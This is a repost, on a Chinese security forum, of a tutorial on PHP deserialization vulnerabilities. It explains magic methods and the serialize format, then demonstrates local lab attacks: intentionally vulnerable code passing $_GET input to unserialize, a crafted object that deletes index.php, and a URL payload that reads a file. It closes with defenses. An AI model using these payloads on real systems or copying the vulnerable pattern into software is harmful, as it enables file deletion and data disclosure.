安全矩阵

 找回密码
 立即注册
搜索
查看: 2266|回复: 0

web应用程序之php反序列化漏洞

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-6 09:31:24 | 显示全部楼层 |阅读模式
web应用程序之php反序列化漏洞原创 513划水运动员 泰斗实验室 2019-03-25

php反序列化漏洞关于php面向对象编程: 对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类:一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“”开头的,比如 _construct, _destruct, _toString, _sleep, _wakeup等。这些函数在某些情况下会自动调用,比如:
construct当一个对象创建时调用(constructor);
destruct当一个对象被销毁时调用(destructor);
toString当一个对象被当作一个字符串时使用。
了解php对象概念以及php对象的一些简单特性我们先创建一个简单的php对象:

  • <?php
  • class TestClass
  • {
  • //一个变量
  • public $variable = 'This is a string';
  • //一个简单的方法
  • public function PrintVariable()
  • {
  • echo $this->variable;
  • }
  • }
  • //创建一个对象
  • $object = new TestClass();
  • //调用一个方法
  • $object->PrintVariable();
  • ?>
  • //test.php

运行结果如下:
接下来开始尝试使用magic函数,在类中添加一个magic函数:

  • <?php

  • class TestClass
  • {
  • //一个变量
  • public $variable = 'This is a string';
  • //一个简单的方法
  • public function PrintVariable()
  • {
  • echo $this->variable.'<br />';
  • }
  • //Constructor
  • public function __construct()
  • {
  • echo '__construct<br />';
  • }
  • //Destructor
  • public function __destruct()
  • {
  • echo '__destruct<br />';
  • }
  • //call
  • public function __toString()
  • {
  • return '__toString<br />';
  • }
  • }
  • //创建一个对象
  • //__construct会被调用
  • $object = new TestClass();
  • //创建一个方法
  • //‘This is a string’将会被输出
  • $object->PrintVariable();
  • //对象被当作一个字符串
  • //toString会被调用
  • echo $object;
  • //php脚本要结束时,__destruct会被调用
  • ?>
  • //test1.php

再来看一下这次:
从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。
了解什么是php序列化以及序列化的一些格式在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。我们通过例子来看php对象序列化之后的格式,代码如下:

  • <?php

  • //一个类
  • class User
  • {
  • //类的数据
  • public $age = 0;
  • public $name = '';
  • //输出数据
  • public function printdata()
  • {
  • echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
  • }
  • }
  • //创建一个对象
  • $usr = new User();
  • //设置数据
  • $usr->age = 18;
  • $usr->name = 'vergilben';
  • //输出数据
  • $usr->printdata();
  • //输出序列化后的数据
  • echo serialize($usr)
  • ?>
  • //test2.php

结果如下:
下面的O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}就是对象user序列化后的形式,“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value,后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:

  • <?php

  • //一个类
  • class User
  • {
  • //类的数据
  • public $age = 0;
  • public $name = '';
  • //输出数据
  • public function printdata()
  • {
  • echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
  • }
  • }
  • //重建对象
  • $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');
  • //输出数据
  • $usr->printdata();
  • ?>
  • //test3.php

运行:
可以看到,上次序列化的结果被转变成正常的语句了。
明白php对象注入的成因我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。sleep magic方法在一个对象被序列化时调用,wakeup magic方法在一个对象被反序列化时调用。下面解释一下:

  • <?php

  • class test
  • {
  • public $variable = 'BUZZ';
  • public $variable2 = 'OTHER';
  • public function printvariable()
  • {
  • echo $this->variable.'<br />';
  • }
  • public function __construct()
  • {
  • echo '__construct'.'<br />';
  • }
  • public function __destruct()
  • {
  • echo '__destruct'.'<br />';
  • }
  • public function __wakeup()
  • {
  • echo '__wakeup'.'<br />';
  • }
  • public function __sleep()
  • {
  • echo '__sleep'.'<br />';
  • return array('variable','variable2');
  • }
  • }

  • //创建一个对象,回调用__construct
  • $object = new test();
  • //序列化一个对象,会调用__sleep
  • $serialized = serialize($object);
  • //输出序列化后的字符串
  • print 'Serialized:'.$serialized.'<br />';
  • //重建对象,会调用__wakeup
  • $object2 = unserialize($serialized);
  • //调用printvariable,会输出数据(BUZZ)
  • $object2->printvariable();
  • //脚本结束,会调用__destruct
  • ?>
  • //test4.php

运行:
可以看到serialize时调用了sleep,unserialize时调用了wakeup,在对象被销毁的时候用了destruce。 存在漏洞的思路:一个类用于临时将日志储存进某个文件,当destruct被调用时,日志文件将会被删除,比如:

  • <?php

  • class logfile
  • {
  • //log文件名
  • public $filename = 'error.log';
  • //一些用于储存日志的代码
  • public function logdata($text)
  • {
  • echo 'log data:'.$text.'<br />';
  • file_put_contents($this->filename,$text,FILE_APPEND);
  • }
  • //destrcuctor 删除日志文件
  • public function __destruct()
  • {
  • echo '__destruct deletes '.$this->filename.'file.<br />';
  • unlink(dirname(__FILE__).'/'.$this->filename);
  • }
  • }
  • ?>
  • //test5.php

调用这个类:

  • <?php

  • include 'test5.php'
  • class User
  • {
  • //类数据
  • public $age = 0;
  • public $name = '';
  • //输出数据
  • public function printdata()
  • {
  • echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
  • }
  • }
  • //重建数据
  • $usr = unserialize($_GET['usr_serialized']);
  • ?>
  • //一个示例代码

从代码中可以看到:$usr = unserialize($GET['usrserialized']);$GET['usrserialized']是可控的,那么我们就可以构造输入删除任意文件 构造输入删除目录下的index.php文件:

  • <?php
  • include 'test5.php';
  • $object = new logfile();
  • $object->filename = 'index.php';

  • echo serialize($object).'<br />';

  • ?>
  • //test7.php

接下来先进入index.php:
接下来尝试使用test7.php删除了index.php,进入test7.php:现在在目录里已经没有了index.php:
我们再次访问一下test7.php试一试:
index.php已经没有了。 这是一个简单的示例。
常见的注入点上一部分展示了由于输入可控造成的destruct函数删除任意文件,其实问题也可能存在于wakeup、sleep、toString等其他magic函数,一切都取决于程序逻辑。比如,某用户类定义了一个toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许toString读取某个文件。 现在开始这个小实验,代码如下:

  • <?php

  • include 'test9.php';
  • $fileobj = new fileclass();
  • $fileobj->filename = 'hello.txt';

  • echo serialize($fileobj);
  • ?>
  • //test8.php

我们先访问test8.php,结果如下:


  • <?php

  • class fileclass
  • {
  • //文件名
  • public $filename = 'error.log';
  • //当对象被作为一个字符串会读取这个文件
  • public function __toString()
  • {
  • return file_get_contents($this->filename);
  • }
  • }

  • class user
  • {
  • //class data
  • public $age = 0;
  • public $name = '';
  • //允许对象作为一个字符串输出上面的data
  • public function __toString()
  • {
  • return 'user '.$this->name.' is '.$this->age.' years old.<br />';
  • }
  • }

  • //用户可控
  • $obj = unserialize($_GET['usr_serialized']);
  • //输出__toString
  • echo $obj
  • ?>
  • //test9.php

接下来我们出发反序列化漏洞,获取hello.txt的内容: 构造url: http://localhost/test9.php?usr_serialized=O:9:%22fileclass%22:1:{s:8:%22filename%22;s:9:%22hello.txt%22;}访问:我们看一下hello.txt的内容:
注意:这仅仅是个小实验,在真实环境下没有这么容易,要仔细分析提供的代码找出漏洞。
知识补充unserialize漏洞依赖几个条件:
  • unserialize函数的参数可控
  • 脚本中存在一个构造函数(construct())、析构函数(destruct())、__wakeup()函数中有向php文件中写数据的操作的类
  • 所写的内容需要有对象中的成员变量的值

防范的方法有:
  • 严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
  • 对于unserialize后的变量内容进行检查,以确定内容没有被污染。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:29 , Processed in 0.012639 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表